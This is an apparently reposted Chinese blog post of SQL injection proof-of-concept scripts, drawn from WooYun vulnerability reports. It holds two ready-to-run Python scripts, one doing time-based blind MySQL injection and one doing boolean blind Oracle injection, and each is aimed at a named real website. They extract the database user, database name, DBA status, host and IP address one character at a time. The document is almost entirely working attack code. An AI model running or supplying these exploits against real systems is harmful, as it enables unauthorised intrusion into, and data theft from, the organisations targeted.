SQL注入POC

mysql

# encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib

headers = {
     ' User-Agent ':  ' Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 ',
}
payloads = list( ' abcdefghijklmnopqrstuvwxyz0123456789@_. ')
print  ' start to retrive MySQL user: '
user =  ''
for i  in range(1,20):
     for payload  in payloads:        
          s =  " ascii(mid(lower(user()),%s,1))=%s " % (i, ord(payload))        
          s =  " if(%s,benchmark(2000000,md5(1)),0) " % s
          conn = httplib.HTTPConnection( ' wacom2012.wacom.com.cn ', timeout=30)
          conn.request(method= ' GET ',url= " /AjaxRequest/Ajax_Page.aspx?id=%s&method=getregprocity " % urllib.quote(s), headers = headers)
          start_time = time.time()        
          conn.getresponse()
          conn.close()
           print  ' . ',              
           # print time.time() - start_time
           if time.time() - start_time >2:
                user += payload
                 print  ' \n[In progress] ', user,
                 # time.sleep(4.0)
                 break
print  ' \n[Done]MySQL user is %s ' % user

 

 

 

 

 

from

 

http://wooyun.org/bugs/wooyun-2010-0170936

http://zone.wooyun.org/content/25653

 

^Oracle

oracle 基于bool 盲注

 

# encoding=utf-8

import httplib
import requests
import time
import string
import sys
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print '[%s] Start to retrive Oracle info' % time.strftime('%H:%M:%S', time.localtime())
currentuser = ''
currentdb = ''
isdba1 = ''
currenthost = ''
currentip = ''
for i in range(1,6,1):
    for payload in payloads:
        response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' AND ASCII(SUBSTR(user,{},1))={} AND '1'='1".format(str(i),str(ord(payload))))
        if len(response.content) > 145000:
            currentuser += payload
            print '[currentuser]' ,currentuser
            time.sleep(0.01)
            break

for i in range (1,5,1):
    for payload in payloads:
        response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','DB_NAME')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))
        if len(response.content) > 145000:
            currentdb += payload
            print '[currentdb]' ,currentdb
            time.sleep(0.01)
            break

for i in range (1,6,1):
    for payload in payloads:
        response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','ISDBA')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))
        if len(response.content) > 145000:
            isdba1 += payload
            print '[currentisdba1]' ,isdba1
            time.sleep(0.01)
            break

for i in range (1,9,1):
    for payload in payloads:
        response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','HOST')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))
        if len(response.content) > 145000:
            currenthost += payload
            print '[currenthost]' ,currenthost
            time.sleep(0.01)
            break

for i in range (1,13,1):
    for payload in payloads:
        response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','IP_ADDRESS')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))
        if len(response.content) > 145000:
            currentip += payload
            print '[currentip]' ,currentip
            time.sleep(0.01)
            break            

print '[%s] Stop to retrive Oracle info' % time.strftime('%H:%M:%S', time.localtime())

 

转载于:https://www.cnblogs.com/shellr00t/p/5237376.html